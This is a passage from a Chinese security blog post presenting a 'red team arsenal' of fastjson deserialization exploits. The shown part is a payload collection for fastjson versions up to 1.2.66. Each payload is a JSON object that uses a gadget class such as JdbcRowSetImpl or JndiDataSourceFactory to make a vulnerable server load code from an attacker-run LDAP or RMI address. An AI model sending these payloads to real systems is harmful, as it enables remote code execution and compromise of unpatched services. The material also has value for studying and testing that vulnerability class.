<h3 id="fastjson-lt-x3D-1-2-43"><a href="#fastjson-lt-x3D-1-2-43" class="headerlink" title="fastjson&lt;&#x3D;1.2.43"></a>fastjson&lt;&#x3D;1.2.43</h3><p>前提：<br>autoTypeSupport属性为true才能使用。（fastjson&gt;&#x3D;1.2.25默认为false）</p>
<p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;[com.sun.rowset.JdbcRowSetImpl&quot;[&#123;,&quot;dataSourceName&quot;:&quot;ldap://localhost:1399/Exploit&quot;, &quot;autoCommit&quot;:true&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-45"><a href="#fastjson-lt-x3D-1-2-45" class="headerlink" title="fastjson&lt;&#x3D;1.2.45"></a>fastjson&lt;&#x3D;1.2.45</h3><p>前提：<br>autoTypeSupport属性为true才能使用。（fastjson&gt;&#x3D;1.2.25默认为false）</p>
<p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;org.apache.ibatis.datasource.jndi.JndiDataSourceFactory&quot;,&quot;properties&quot;:&#123;&quot;data_source&quot;:&quot;ldap://localhost:1399/Exploit&quot;&#125;&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-47"><a href="#fastjson-lt-x3D-1-2-47" class="headerlink" title="fastjson&lt;&#x3D;1.2.47"></a>fastjson&lt;&#x3D;1.2.47</h3><p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &quot;a&quot;: &#123;</span><br><span class="line">        &quot;@type&quot;: &quot;java.lang.Class&quot;, </span><br><span class="line">        &quot;val&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;</span><br><span class="line">    &#125;, </span><br><span class="line">    &quot;b&quot;: &#123;</span><br><span class="line">        &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;, </span><br><span class="line">        &quot;dataSourceName&quot;: &quot;ldap://x.x.x.x:1999/Exploit&quot;, </span><br><span class="line">        &quot;autoCommit&quot;: true</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-62"><a href="#fastjson-lt-x3D-1-2-62" class="headerlink" title="fastjson&lt;&#x3D;1.2.62"></a>fastjson&lt;&#x3D;1.2.62</h3><p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;org.apache.xbean.propertyeditor.JndiConverter&quot;,&quot;AsText&quot;:&quot;rmi://127.0.0.1:1098/exploit&quot;&#125;&quot;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-66"><a href="#fastjson-lt-x3D-1-2-66" class="headerlink" title="fastjson&lt;&#x3D;1.2.66"></a>fastjson&lt;&#x3D;1.2.66</h3><p>前提：<br>autoTypeSupport属性为true才能使用。（fastjson&gt;&#x3D;1.2.25默认为false）</p>
<p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;org.apache.shiro.jndi.JndiObjectFactory&quot;,&quot;resourceName&quot;:&quot;ldap://192.168.80.1:1389/Calc&quot;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&quot;@type&quot;:&quot;br.com.anteros.dbcp.AnterosDBCPConfig&quot;,&quot;metricRegistry&quot;:&quot;ldap://192.168.80.1:1389/Calc&quot;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&quot;@type&quot;:&quot;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup&quot;,&quot;jndiNames&quot;:&quot;ldap://192.168.80.1:1389/Calc&quot;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&quot;@type&quot;:&quot;com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig&quot;,&quot;properties&quot;: &#123;&quot;@type&quot;:&quot;java.util.Properties&quot;,&quot;UserTransaction&quot;:&quot;ldap://192.168.80.1:1399/Calc&quot;&#125;&#125;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp%E5%A4%8D%E7%8E%B0/">https://godzeo.github.io/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp%E5%A4%8D%E7%8E%B0/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2020/07/05/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%EF%BC%9A%E4%BB%8E%E7%AE%80%E5%8D%95%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%B0%E5%86%99%E8%87%AA%E5%B7%B1%E7%BC%96%E5%86%99shellcode/"><img class="prev-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225569.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">二进制漏洞：从简单栈溢出到写自己编写shellcode</div></div></a></div><div class="next-post pull-right"><a href="/2020/07/02/%E5%86%85%E7%BD%91%E4%B8%ADCobaltStrike4.0%EF%BC%88CS4%EF%BC%89%E7%9A%84%E6%B8%97%E9%80%8F%E4%B9%8B%E6%97%85/"><img class="next-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">内网中CobaltStrike4.0（CS4）的渗透之旅</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Zeo</div><div class="author-info__description">专注于安全,分享生活,分享知识</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/godzeo"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/godzeo" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:zzzhhhaaaiiii@gmail.com" target="_blank" title="Email"><i class="fas fa-envelope"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x01%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D"><span class="toc-number">1.</span> <span class="toc-text">0x01漏洞介绍</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4"><span class="toc-number">2.</span> <span class="toc-text">0x02影响范围</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0"><span class="toc-number">3.</span> <span class="toc-text">0x03漏洞复现</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%8B%E9%9D%A2%E6%98%AF%E6%B5%81%E7%A8%8B%E7%A4%BA%E6%84%8F%E5%9B%BE"><span class="toc-number">3.1.</span> <span class="toc-text">下面是流程示意图</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9C%A8%E6%95%B4%E4%B8%AA%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B"><span class="toc-number">3.1.1.</span> <span class="toc-text">在整个远程命令执行流程</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B"><span class="toc-number">4.</span> <span class="toc-text">0x04复现流程</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#0x041-%E6%9E%84%E9%80%A0%E6%81%B6%E6%84%8F%E6%96%B9%E6%B3%95"><span class="toc-number">4.1.</span> <span class="toc-text">0x041 构造恶意方法</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x042-%E5%BC%80%E5%90%AF%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8rmi%E6%9C%8D%E5%8A%A1"><span class="toc-number">4.2.</span> <span class="toc-text">0x042 开启远程方法调用rmi服务</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x043-%E5%8F%91%E9%80%81payload"><span class="toc-number">4.3.</span> <span class="toc-text">0x043 发送payload</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x05%E7%AE%80%E5%8C%96%E7%89%88%E6%94%BB%E5%87%BB%E5%B7%A5%E5%85%B7"><span class="toc-number">5.</span> <span class="toc-text">0x05简化版攻击工具</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x06-%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B"><span class="toc-number">6.</span> <span class="toc-text">0x06 漏洞检测</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%AA%E7%9F%A5%E7%9B%AE%E6%A0%87%E6%98%AF%E5%90%A6%E4%BD%BF%E7%94%A8-Fastjson-%EF%BC%8C%E4%BD%86%E7%AB%99%E7%82%B9%E6%9C%89%E5%8E%9F%E5%A7%8B%E6%8A%A5%E9%94%99%E5%9B%9E%E6%98%BE"><span class="toc-number">6.1.</span> <span class="toc-text">未知目标是否使用 Fastjson ，但站点有原始报错回显</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E5%9B%9E%E6%98%BE%EF%BC%8C%E9%80%9A%E8%BF%87DNS%E5%9B%9E%E6%98%BE%E7%9A%84%E6%96%B9%E5%BC%8F%E7%9B%B2%E5%8C%BA%E5%88%86-Fastjson-%E5%92%8C-Jackson"><span class="toc-number">6.2.</span> <span class="toc-text">无回显，通过DNS回显的方式盲区分 Fastjson 和 Jackson</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC1-2-67%E4%BE%9D%E7%84%B6%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87dnslog%E5%88%A4%E6%96%AD%E5%90%8E%E7%AB%AF%E6%98%AF%E5%90%A6%E4%BD%BF%E7%94%A8fastjson"><span class="toc-number">6.3.</span> <span class="toc-text">最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x07-%E5%A4%9A%E7%89%88%E6%9C%ACpayload%E9%9B%86%E5%90%88"><span class="toc-number">7.</span> <span class="toc-text">0x07 多版本payload集合</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-24"><span class="toc-number">7.0.1.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.24</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-41"><span class="toc-number">7.0.2.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.41</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-42"><span class="toc-number">7.0.3.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.42</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-43"><span class="toc-number">7.0.4.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.43</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-45"><span class="toc-number">7.0.5.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.45</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-47"><span class="toc-number">7.0.6.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.47</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-62"><span class="toc-number">7.0.7.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.62</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#fastjson-lt-x3D-1-2-66"><span class="toc-number">7.0.8.</span> <span class="toc-text">fastjson&lt;&#x3D;1.2.66</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="企业 SDLC 安全生命周期管理"/></a><div class="content"><a class="title" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理">企业 SDLC 安全生命周期管理</a><time datetime="2022-11-15T14:03:44.000Z" title="发表于 2022-11-15 22:03:44">2022-11-15</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计漏洞(File Operation\Redirect\Cors)"/></a><div class="content"><a class="title" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)">Go 代码审计漏洞(File Operation\Redirect\Cors)</a><time datetime="2022-11-05T09:15:28.000Z" title="发表于 2022-11-05 17:15:28">2022-11-05</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计高危漏洞(sqli\cmd\ssrf)"/></a><div class="content"><a class="title" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)">Go 代码审计高危漏洞(sqli\cmd\ssrf)</a><time datetime="2022-10-30T06:57:14.000Z" title="发表于 2022-10-30 14:57:14">2022-10-30</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Java代码审计： ClassLoader应用"/></a><div class="content"><a class="title" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用">Java代码审计： ClassLoader应用</a><time datetime="2022-05-10T08:21:21.000Z" title="发表于 2022-05-10 16:21:21">2022-05-10</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2022 By Zeo</div><div class="footer_custom_text">Hi, welcome to my blog!</div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><div class="js-pjax"></div></div></body></html>